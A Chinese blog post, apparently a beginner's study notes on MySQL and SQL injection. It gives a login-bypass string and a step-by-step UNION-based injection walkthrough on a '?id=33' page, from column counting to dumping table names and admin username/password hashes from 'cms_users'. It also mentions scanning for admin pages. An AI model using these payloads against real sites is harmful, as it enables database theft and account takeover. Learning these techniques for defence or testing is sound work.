SQL注入基础
本文最后更新于 636 天前,其中的信息可能已经有所发展或是发生改变。

实在忍不住了,就去学了学。。。。

 

一. mysql简介

结构化查询语言(Structured Query Language.简称:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系型数据库管理系统的标准语言(关系型常见有:MYSQL  ACCESS MSSQL orcale ),具有明显的层次结构,即有 库名 表名 字段名 字段内容  就相当于Excel文件一样

 

1.mysql 元数据库

我们本地启动MySQL服务,就是启动了一个数据库实例,他首先是一个进程管理了一系列的数据库文件。而我们执行create database cmcc_web 这条SQL语句时,才是真正创建一个数据库,他是一堆表的集合,其实也是文件的集合。简而言之,数据库实例就是RDBMS(数据库管理系统),数据库就是Database,Database是存放数据的仓库,RDBMS就是管理仓库的系统。
在MySQL中,每个schema就是对应一个数据库

元数据(meta data)——“data about data” 关于数据的数据,一般是结构化数据(如存储在数据库里的数据,规定了字段的长度、类型等)。所以metadata就是描述数据的数据,在MySQL中就是描述database的数据。有哪些数据库、每个表有哪些表、表有多少字段、字段是什么类型等等,这样的数据就是数据库的元数据。综上,我们可以称information_schema是一个元数据库那些表名库名,就是存储在其中,它就像物业公司的信息库,对管理的每栋大厦有多少电梯、电梯型号、每个房间的长宽高等等了如指掌。

2.查看mysql

在环境变量中添加mysql的安装目录

 

 

 

 

 

 

 

 

 

 

 

 

 

其中

table_name 表名 存储在这个字段里

table_schema 这个字段记录数据库所属的名字

 

conlunms  这张表存储所有字段的名字

conlunms_name 存储字段名

table_name 这个字段所在的表名

table_schema 这个字段所属的库名

 

MYSQL常用函数与参数

and |or      //逻辑运算符

version()   //mysql数据库版本

database()  //当前数据库名

user()    //用户名

current_user() //当前用户名

system_user //系统用户名

@@datadir //数据库路径

@versoin_compile_osi //操作系统版本

length() //返回字符串的长度

substring()  //截取字符串 有三个参数 1.截取的字符串 2.截取的
起始位置 3.截取长度
substr()
mid()



 

 

 

left()    //从左侧开始取指定字符个数的字符串
concat( )     //没有分隔符的连接字符串
concat_ws ( )    // 含有分割符的连接字符串 group_concat( )    //连接一个组的字符串

 

 

ord ( )   // 返回ASCII码

hex( )    //将字符串转换为十六进制 unhex() //hex的反向操作 md5() // 返回MD5值 floor(x) //返回不大于X的最大整数 round() //返回参数x接近的整数 unhex ( )    //hex的反向操作 md5()    //返回MD5值 floor(x)    //返回不大于x的最大整数 round( )    //返回参数×接近的整数 rand ()            //  返回0-1 之间的随机浮点数 load_file( )       //读取文件,并返回文件内容作为一个字符串 sleep()              // 睡眠时间为指定的秒数 if ( true,t,f)       // if判断 find_in_set( )   //返回字符串在字符串列表中的位置 benchmark( )    //指定语句执行的次数 name const()      //返回表作为结果

 

逻辑运算:

在SQL语句中逻辑运算与(and)比或(or)的优先级高

 

二.SQL注入(SQL Injection)

SQL注入是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击

 

漏洞原理:针对SQL注入的攻击行为可描述为通过用户可控参数中SQL语法,破坏原有的SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

1:程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句

2:未对用户可控参数进行足够的过滤便将参数内容拼接到进入到SQL语句中。

 

注入点可能存在的位置

根据SQL注入漏洞的原理,在用户“可控参数”中注入SQL 语法,也就说Web应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL注入的可能,这些地方通常包括:

                      GET数据

POST数据

HTTP头部(HTTP请求报文其他字段)

Cookie 数据

………

漏洞危害

攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。

分类:
SQL注入漏洞根据不同的标准,有不同的分类。但是从数据类型来看,SQL注入分为数字型和字符型

数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号,双引号包括。

字符型注入正好相反

根据注入手法分类。大致分为以下几个类别。

UNION query SQL injection (可联合查询注入)//能看到数据库的回显

Error-based SQL injection(可报错注入)//能看到数据库的回显

Boolean-based blind SQL injection(布尔型注入 ) //能看到页面的状态

Time – based blind SQL injection (基于时间延迟注入)//能看到页面的状态

Stacked queries SQL injection (可多语句查询注入) 堆积查询,同时执行多条SQL语句

* 注入流程
由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过SQL注入漏洞获取数据库中信息时候,也依据这样的顺序。
首先获取数据库名,其次获取表名,然后获取列名,最后获取数据。

 

万能密码:

SQL语句: select * from admin where username = ‘or 1=1 — ‘ and password = ‘用户输入的密码’其中or 1=1永远为真,–注释后边内容不再执行,因此SQL语句执行会返回admin表中的所有内容。

 

三.工具使用

使用一个简单的小工具吧,,名为御剑~~~~~~~~~~

御剑后台扫描工具内置有PHP网站常见的后缀,可以扫描出网站的后台站点

 

类似这种id =xxx 与 +-1时 出现数据库的交互,说明可能存在注入点

考虑联合查询

如果有报错,那么可以考虑报错注入

于是

给它加一个引号,判断sql语句是字符型还是数字型

其中单引号包括的引号是sql语句错误信息

因为sql语句执行是从第一个字母读到最后一个于是

说明引号之前的语句是没问题的

那么由此可以判断sql语句是数字型的

如何判断是字符型的呢?

例子;

报错为:

其中  “3”  和 上图报错对比 可以判断 这个为字符型

 

在假设页面在id +-1时没有变化考虑是否有布尔类型的状态

假设他的sql语句为 :select * from xxx where id ={$id}

那么 我们在 id后面加上 and  1=1 或 and 1=2 进行是否存在布尔类型的状态

那么在 1=1时 sql语句执行为真 页面正常加载, 1=2时页面加载不正常,但是没有报错

如果有bool类型状态考虑布尔盲注

 

另个方法是 and sleep(5) 让页面沉睡5s ,通过F12 Network 判断是否有延迟,有延迟可以考虑 延时注入

 

只要存在任意一个,就可以判断有注入漏洞

联合查询
由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。

联合查询就是SQL语法中的union select语句。该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接。

由于虚拟表是二维结构,联合查询会”纵向”拼接,两张虚拟的表。

实现 跨库跨表查询

*必要条件
@
两张虚拟的表具有相同的列数

因此我们需要查询一下列数,在ID后面加入,obder by +数字 发现在 16的时候出现报错

@
虚拟表对应的列的数据类型相同

*判断字段个数

可以使用[order by]语句来判断当前select语句所查询的虚拟表的列数。[order by]语句本意是按照某一列进行排序,在mysql

中可以使用数字来代替具体的列名,比如[order by 1]就是按照第一列进行排序,如果mysql没有找到对应的列,就会报错[Unknown column]。我们可以依次增加数字,直到数据库报错。
[order by 1 –+]
lorder by 2 –+]…
[order by 15 –+][order by 16]
得到当前虚拟表中字段个数为15。
判断显示位置
得到字段个数之后,可以尝试构造联合查询语句。
这里我们并不知道表名,根据mysql数据库特性,select语句在执行的过程中,并不需要指定表名。

[?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15…+]

或者:[?id=33 union select  null,null,null,null, null, null, null, null,null,null, null,null, null,null,null….+]

页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL语句:

[?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15–+]

[?id=33- union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15…+]

得到结果:

那么将语句改为:

[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15

得到了数据库的版本号和数据库名字

 

由于联合查询可以实现 跨库跨表查询

于是

[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,table_name,12,13,14,15 from information_schema.tables where table_schema = database()

 

出现报错,查找之后是因为 编码出现了问题 table_name返回的是字符串

如果要变成数字的话,我们可以变为ASCII码,也可以转换成十六进制

使用十六进制:

[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,hex(table_name),12,13,14,15 from information_schema.tables where table_schema = database()

 

十六进制解码得出

cms_article

但是只能得出第一个表名

 

于是:

[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema = database()

得出所有表名,其中有 user_users这张表 ,管理员账号密码可能存在这张表里

[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,hex(group_concat(colunms_name)),12,13,14,15 from information_schema.colunms where table_schema = database()  and tables_name = cms_users(转换为十六进制,避免出现引号)

转码出现:

useried username  password

查询:

[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from  cms_users

得到了 账号和 ma5加密后的账号和密码,解密后得到密码

这便是联合查询注入

在执行SQL语句的时候,可以考虑用火狐浏览器的插件hackbar。

 

待续。。。。。

 

 

 

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇